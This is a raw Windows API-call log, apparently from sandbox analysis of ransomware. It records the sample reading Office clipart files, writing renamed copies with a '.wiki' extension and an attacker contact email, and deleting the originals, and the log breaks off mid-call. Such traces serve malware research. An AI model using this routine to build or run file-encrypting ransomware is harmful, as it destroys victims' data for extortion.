[0198.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.580] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.580] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.582] GetLastError () returned 0x0 [0198.582] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x29ac, lpOverlapped=0x0) returned 1 [0198.584] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x29b0, lpOverlapped=0x0) returned 1 [0198.584] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.585] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.585] SetEndOfFile (hFile=0x1d0) returned 1 [0198.585] CloseHandle (hObject=0x1d0) returned 1 [0198.585] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.585] SetEndOfFile (hFile=0x1fc) returned 1 [0198.586] CloseHandle (hObject=0x1fc) returned 1 [0198.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf")) returned 1 [0198.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.586] lstrlenW (lpString=".doc") returned 4 [0198.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.586] lstrlenW (lpString=".docx") returned 5 [0198.586] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0198.586] lstrlenW (lpString=".pdf") returned 4 [0198.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.586] lstrlenW (lpString=".xls") returned 4 [0198.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.586] lstrlenW (lpString=".xlsx") returned 5 [0198.586] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0198.587] lstrlenW (lpString=".ppt") returned 4 [0198.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.587] lstrlenW (lpString=".zip") returned 4 [0198.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.587] lstrlenW (lpString=".rar") returned 4 [0198.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString=".bz2") returned 4 [0198.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString=".7z") returned 3 [0198.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.587] lstrlenW (lpString=".dbf") returned 4 [0198.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.587] lstrlenW (lpString=".1cd") returned 4 [0198.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.587] lstrlenW (lpString=".jpg") returned 4 [0198.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.587] lstrlenW (lpString=".doc") returned 4 [0198.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString=".docx") returned 5 [0198.587] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0198.587] lstrlenW (lpString=".pdf") returned 4 [0198.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString=".xls") returned 4 [0198.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.587] lstrlenW (lpString=".xlsx") returned 5 [0198.587] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0198.588] lstrlenW (lpString=".ppt") returned 4 [0198.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.588] lstrlenW (lpString=".zip") returned 4 [0198.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.588] lstrlenW (lpString=".rar") returned 4 [0198.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.588] lstrlenW (lpString=".bz2") returned 4 [0198.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.588] lstrlenW (lpString=".7z") returned 3 [0198.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.588] lstrlenW (lpString=".dbf") returned 4 [0198.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.588] lstrlenW (lpString=".1cd") returned 4 [0198.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0198.588] lstrlenW (lpString=".jpg") returned 4 [0198.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.588] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.588] lstrlenW (lpString="J0152894.WMF") returned 12 [0198.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.589] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11348) returned 1 [0198.589] CloseHandle (hObject=0x1fc) returned 1 [0198.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf")) returned 0x20 [0198.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.589] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.589] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.590] GetLastError () returned 0x0 [0198.590] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2c54, lpOverlapped=0x0) returned 1 [0198.591] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2c60, lpOverlapped=0x0) returned 1 [0198.592] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.592] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.592] SetEndOfFile (hFile=0x1d0) returned 1 [0198.592] CloseHandle (hObject=0x1d0) returned 1 [0198.593] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.593] SetEndOfFile (hFile=0x1fc) returned 1 [0198.593] CloseHandle (hObject=0x1fc) returned 1 [0198.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf")) returned 1 [0198.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.594] lstrlenW (lpString=".doc") returned 4 [0198.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.594] lstrlenW (lpString=".docx") returned 5 [0198.594] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.594] lstrlenW (lpString=".pdf") returned 4 [0198.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.594] lstrlenW (lpString=".xls") returned 4 [0198.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.594] lstrlenW (lpString=".xlsx") returned 5 [0198.594] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.594] lstrlenW (lpString=".ppt") returned 4 [0198.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.594] lstrlenW (lpString=".zip") returned 4 [0198.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.594] lstrlenW (lpString=".rar") returned 4 [0198.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.594] lstrlenW (lpString=".bz2") returned 4 [0198.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.594] lstrlenW (lpString=".7z") returned 3 [0198.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.594] lstrlenW (lpString=".dbf") returned 4 [0198.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.595] lstrlenW (lpString=".1cd") returned 4 [0198.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.595] lstrlenW (lpString=".jpg") returned 4 [0198.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.595] lstrlenW (lpString=".doc") returned 4 [0198.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.595] lstrlenW (lpString=".docx") returned 5 [0198.595] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.595] lstrlenW (lpString=".pdf") returned 4 [0198.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.595] lstrlenW (lpString=".xls") returned 4 [0198.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.595] lstrlenW (lpString=".xlsx") returned 5 [0198.595] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.595] lstrlenW (lpString=".ppt") returned 4 [0198.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.595] lstrlenW (lpString=".zip") returned 4 [0198.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.595] lstrlenW (lpString=".rar") returned 4 [0198.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.595] lstrlenW (lpString=".bz2") returned 4 [0198.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.595] lstrlenW (lpString=".7z") returned 3 [0198.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.596] lstrlenW (lpString=".dbf") returned 4 [0198.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.596] lstrlenW (lpString=".1cd") returned 4 [0198.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0198.596] lstrlenW (lpString=".jpg") returned 4 [0198.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.596] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.596] lstrlenW (lpString="J0152898.WMF") returned 12 [0198.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.596] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4496) returned 1 [0198.596] CloseHandle (hObject=0x1fc) returned 1 [0198.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf")) returned 0x20 [0198.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.597] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.597] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.597] GetLastError () returned 0x0 [0198.597] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1190, lpOverlapped=0x0) returned 1 [0198.599] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x11a0, lpOverlapped=0x0) returned 1 [0198.600] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.600] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.600] SetEndOfFile (hFile=0x1d0) returned 1 [0198.600] CloseHandle (hObject=0x1d0) returned 1 [0198.600] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.600] SetEndOfFile (hFile=0x1fc) returned 1 [0198.601] CloseHandle (hObject=0x1fc) returned 1 [0198.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf")) returned 1 [0198.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.601] lstrlenW (lpString=".doc") returned 4 [0198.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.601] lstrlenW (lpString=".docx") returned 5 [0198.601] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.601] lstrlenW (lpString=".pdf") returned 4 [0198.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.601] lstrlenW (lpString=".xls") returned 4 [0198.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.602] lstrlenW (lpString=".xlsx") returned 5 [0198.602] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.602] lstrlenW (lpString=".ppt") returned 4 [0198.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.602] lstrlenW (lpString=".zip") returned 4 [0198.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.602] lstrlenW (lpString=".rar") returned 4 [0198.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString=".bz2") returned 4 [0198.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString=".7z") returned 3 [0198.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.602] lstrlenW (lpString=".dbf") returned 4 [0198.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.602] lstrlenW (lpString=".1cd") returned 4 [0198.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.602] lstrlenW (lpString=".jpg") returned 4 [0198.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.602] lstrlenW (lpString=".doc") returned 4 [0198.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString=".docx") returned 5 [0198.602] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.602] lstrlenW (lpString=".pdf") returned 4 [0198.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString=".xls") returned 4 [0198.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.602] lstrlenW (lpString=".xlsx") returned 5 [0198.603] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.603] lstrlenW (lpString=".ppt") returned 4 [0198.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.603] lstrlenW (lpString=".zip") returned 4 [0198.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.603] lstrlenW (lpString=".rar") returned 4 [0198.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.603] lstrlenW (lpString=".bz2") returned 4 [0198.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.603] lstrlenW (lpString=".7z") returned 3 [0198.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.603] lstrlenW (lpString=".dbf") returned 4 [0198.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.603] lstrlenW (lpString=".1cd") returned 4 [0198.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0198.603] lstrlenW (lpString=".jpg") returned 4 [0198.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.603] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.603] lstrlenW (lpString="J0153047.WMF") returned 12 [0198.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.604] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=33068) returned 1 [0198.604] CloseHandle (hObject=0x1fc) returned 1 [0198.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf")) returned 0x20 [0198.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 